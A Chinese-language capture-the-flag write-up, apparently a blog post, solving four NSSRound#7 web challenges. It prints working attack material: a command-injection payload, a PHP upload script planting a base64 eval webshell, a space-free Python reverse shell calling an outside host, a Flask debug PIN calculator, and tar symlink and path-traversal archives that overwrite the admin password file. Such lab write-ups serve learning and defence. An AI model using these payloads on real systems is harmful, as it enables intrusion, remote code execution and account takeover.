NSSRound#7

[NSSRound#7 Team]ec_RCE

源码:

<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?>

我丢??java

结果不是,发现action和data都是可控的,那就利用||来执行

payload:

action=||&data='cat /f*'

[NSSRound#7 Team]0o0

页面提示nothing,我们就扫目录试试看:

源码下载下来:

发现一个php文件:

 <?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
    if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
        if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
            if (isset($_GET['nss_ctfer.vip'])) {
                if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
                    $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
                    if ($nss && $nSscTF === "NSSRound7") {
                        if (isset($_POST['submit'])) {
                            $file_name = urldecode($_FILES['file']['name']);
                            $path = $_FILES['file']['tmp_name'];
                            if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }
                            $content = file_get_contents($path);
                            $real_content = '<?php die("Round7 do you like");'. $content . '?>';
                            $real_name = fopen($file_name, "w");
                            fwrite($real_name, $real_content);
                            fclose($real_name);
                            echo "OoO0o0hhh.";
                        } else {
                            die("NoO0oO0oO0!");
                        }
                    } else {
                        die("N0o0o0oO0o!");
                    }
                } else {
                    die("NoOo00O0o0!");
                }
            } else {
                die("Noo0oO0oOo!");
            }
        } else {
            die("NO0o0oO0oO!");
        }
    } else {
        die("No0o0o000O!");
    }
} else {
    die("NO0o0o0o0o!");
} NO0o0o0o0o!

前面都比较简单,直接贴payload了

?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=&NSScTf=114514.3&nSScTF=1&nSscTF=NSSRound7

就是这一段我们需要看一下:

<?php
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
   die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);

首先我们再了解一下死亡绕过,详情可以看file_put_content和死亡·杂糅代码之缘 - 先知社区

死亡绕过的三种形式:

($filename,"<?php exit();".$content);

($content,"<?php exit();".$content);

($filename,$content . "\nxxxxxx");

起初我不知道这个究竟是哪种形式

其实我们可以先写进内容,再用php伪协议读文件,这样就变成了第一种形式,因为这里的文件名和内容都是我们可控的。

写进内容:注意这里有文件名要求需要包含有png关键字,可以命名为xxx.png.php的形式,这样依旧是php文件,写进的内容要用base64编码一下:

记得写进内容的时候再PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOw==前面添加三个字符,这样可以避免base64的编码性质导致后面我们需要的内容解码错误。

读取文件:读取文件的时候带上伪协议就行了。

然后就可以写脚本了:

import requests
import base64

content = b"""aaaPD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOz8+"""

url = "http://43.143.7.127:28524/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=&NSScTf=114514.3&nSScTF=1&nSscTF=NSSRound7"

data = {"submit": "Submit"}
files = {'file': ('%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%31%31%2e%70%6e%67%2e%70%68%70', content, 'image/jpeg')}
resp = requests.post(url, data=data, files=files)
print(resp.text)

然后利用一句话木马就可以拿到flag了

[NSSRound#7 Team]ShadowFlag

这道题非常有意义呀,学习了很多

进入页面,可以拿到源码:

from flask import Flask, request
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
    flag2 = f.read()
tag = False


@app.route("/")
def index():
    with open("app.py", "r+") as f:
        return f.read()


@app.route("/shell", methods=['POST'])
def shell():
    global tag
    if tag != True:
        global flag1
        del flag1
        tag = True
    os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
    action = request.form["act"]
    if action.find(" ") != -1:
        return "Nonono"
    else:
        os.system(action)
    return "Wow"


@app.errorhandler(404)
def error_date(error):
    sleep(5)
    return "扫扫扫,扫啥东方明珠呢[怒]"


if __name__ == "__main__":
    app.run()

代码逻辑比较简单,在/shell路由中有一个命令执行,但是这个命令执行把空格给过滤了,并且命令是没有回显的

我们的第一个思路就是反弹shell了,这样可以比较直接地得到命令回显。但是实践的时候我们遇到了这么几个问题:

1.curl使用发现并没有效果

2.wget也没有效果

3.部分python代码的反弹shell也没有效果(因为服务器本身就是flask,是依赖python的,我们可以利用python反弹shell)

在巨魔师傅的github仓库中,有一个反弹shell的payload合集:PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings · GitHub

在这里面我们可以找到空格被过滤的python反弹shell:

python3$IFS-c$IFS'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("xx.xx.xx.xx",2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

这里没有空格可以利用$IFS或者%09来绕过,因为$IFS是在命令执行的时候换成空格,所以在action.find(" ")的时候并不会被检测到。

反弹shell之后,我们就可以开始寻找flag了。

第一个flag:我们可以发现第一个flag是利用open("/tmp/flag1.txt", "r")打开的,而且并没有使用close关闭,那么这个flask还在运行,我们就可以在/proc/[pid]/fd的内存中找到他。一般是存在15-35这个范围,我们一一寻找,最后 在/proc/16/fd/*中找到了

第一个flag比较简单

第二个flag:第二个flag就相对比较麻烦了,因为第二个flag是利用with open("/tmp/flag2.txt", "r") as f:打开的,用with会默认打开使用后关闭这个文件,我们就只能从flask的环境中去寻找flag2这个变量了,我们第一个就想到了利用console,但是利用console需要有Flask的Pin值,我们现在来看如何利用shell来计算Pin值

这个也算是第一次自己计算,因为这个脚本写的很清楚,所以比较有想去计算的欲望。

先贴上巨魔师傅的脚本:

# sha1算法,适用于高版本flask

# 无空格Python弹shell
# python3$IFS-c$IFS'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("192.168.23.38",7777));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
import hashlib
from itertools import chain
probably_public_bits = [
    'ctf'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    str(int("02:42:ac:02:97:54".replace(":",""),16)),#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    "e0ad2d31-1d21-4f57-b1c5-4a9036fbf235"+"2b48ec3fa912d576cd5bc1daaacc709a096dae18a7a7287c489125db138318a9"#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

这个脚本后面的注释都需要我们一一去计算,每次都需要重新计算再运行脚本,否则就会出现Pin不正确的情况。

我们先看:

probably_public_bits = [
    'ctf'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]

第一个是用户名,使用whoami就可以得到当前用户

第二个是默认值就不用改了

第三个是默认值也不用改了

第四个我们可以在报错页面得到,在/shell路由中不传入变量不为act的POST数据即可触发报错:

接着我们再来看

private_bits = [
    str(int("02:42:ac:02:97:54".replace(":",""),16)),#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    "e0ad2d31-1d21-4f57-b1c5-4a9036fbf235"+"2b48ec3fa912d576cd5bc1daaacc709a096dae18a7a7287c489125db138318a9"#  /proc/self/cgroup
]

第一行02:42:ac:02:97:54是MAC地址,直接用命令cat /sys/class/net/eth0/address即可得到

第二行就算后面的2.和3.就可以了,一样的道理也是直接cat

然后把这两个值贴进去,然后计算得到Pin值

计算得到Pin值:

我们要得到flag2就需要在对应的环境中输入:

因为我们的程序是运行在如图所圈的环境下,所以在圈中输入Pin后输入flag2获取变量flag2

拼接两个flag就得到完整的flag了

后面还看到了不反弹shell的解法:NSS Round7_web - nLesxw - 博客园,有兴趣的师傅可以看看

[NSSRound#7 Team]新的博客

这一题是问了 Backr0d 师傅,Backr0d师傅给了一个非预期解一下就豁然开朗了。先说一下非预期解:

使用软连接覆盖掉 /用户/flag,然后利用这个flag文件连接指向/app/conf/userinfo.json达到覆盖的目的,只能说很高明,就是感觉这个路径问题得多尝试一下,这个/app应该是个根目录。

非预期解:

进入页面刚开始创建账号,登陆什么的就不多说了。

把这个加密字符解码一下:

得到一个路径,可以把文件下载下来

可以发现文件目录结构是这样的:

之后点开用户有这么几个功能点:

备份点击下载完的目录结构是这样的:

我们和上一个目录结构对比一下,也有一个flag,然后上面一个用户名,我们根据文件明猜测所有的用户都放在userData之下,包括admin用户。

所以非预期解就是利用博客恢复功能,上传tar.gz文件,利用这个flag软连接指向/app/conf/userinfo.json,然后再上传一个我们修改后的admin的sha1的json文件,就可以修改admin的密码

第一步:制作链接文件

然后把这个生成的upload.tar.gz上传

第二步:上传一个我们修改后的json文件

这个flag的内容可以用脚本生成:

import hashlib
import json

password = 'admin'
with open('userinfo.json', 'wb') as file:
    file.write(json.dumps({'admin': hashlib.sha512(password.encode('utf-8')).hexdigest()}).encode('utf-8'))

上传后,利用admin,admin就可以登陆成功了。点开第二个URL就可以看到flag了:

预期解:

预期解是利用目录穿越直接覆盖掉userinfo.json文件吧,在搞预期解的时候真的非常头疼,一直手撸不出来那个目录结构,同时利用官方WP的脚本一直报错,就很难受,无奈只能改一下脚本:

import os, hashlib, json

username = 'qingfeng' # 你注册时用的用户名,尽量别有奇怪的符号
admin_passwd = 'admin' # 之后要使用admin账户登陆时的密码

os.makedirs('conf')
os.makedirs(os.sep.join([os.getcwd(), 'userData', username]))
with open(os.sep.join([os.getcwd(), 'conf', 'userinfo.json']), 'wb') as tFile:
    tFile.write(json.dumps({'admin': hashlib.sha512(admin_passwd.encode('utf-8')).hexdigest()}).encode('utf-8'))
userDataDir = os.sep.join([os.getcwd(), 'userData'])
os.system(f'cd "{userDataDir}" && tar cPzvf upload.tar.gz {username}/../../conf/userinfo.json')

就是创建那个..的目录一直恶心我受不了了。

然后就上传upload.tar.gz就行了,同样也可以拿到flag

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值